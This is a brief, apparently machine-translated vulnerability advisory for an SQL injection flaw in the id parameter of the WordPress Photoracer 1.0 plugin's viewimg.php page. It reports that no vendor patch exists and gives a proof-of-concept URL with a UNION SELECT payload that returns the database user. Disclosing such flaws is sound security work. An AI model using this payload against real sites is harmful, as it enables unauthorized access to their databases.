WordPress Photoracer plugin id parameter SQL Injection Vulnerability

L kids blog

Time added:
2009-06-19

System ID:
WAVDB-01445
BUGTRAQ: 35382

Affected Versions:
Photoracer 1.0

Program introduction:

Photoracer is a Wordpress Forum plug-in that allows you to create a photo contest from the Management Panel.

Vulnerability Analysis:

The wp-content/plugins/Photoracer/viewimg. php page of The photoracer plug-in does not properly filter the id parameter input submitted by the user. Remote attackers can execute SQL injection attacks by submitting malicious query requests.

Vulnerability exploitation:

Http://site.pl/wp-content/plugins/photoracer/viewimg.php? Id =-1 + union + select + 0, 1, 2, 3, 4, user (), 6, 7, 8 --

Solution:
Vendor patch:

Paolo Palmonari
---------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://palmonaz.altervista.org/z/photoracer? Esohkb

Information Source:
<* Source: Kacper (kacper1964@yahoo.pl)

Link: http://secunia.com/advisories/35450/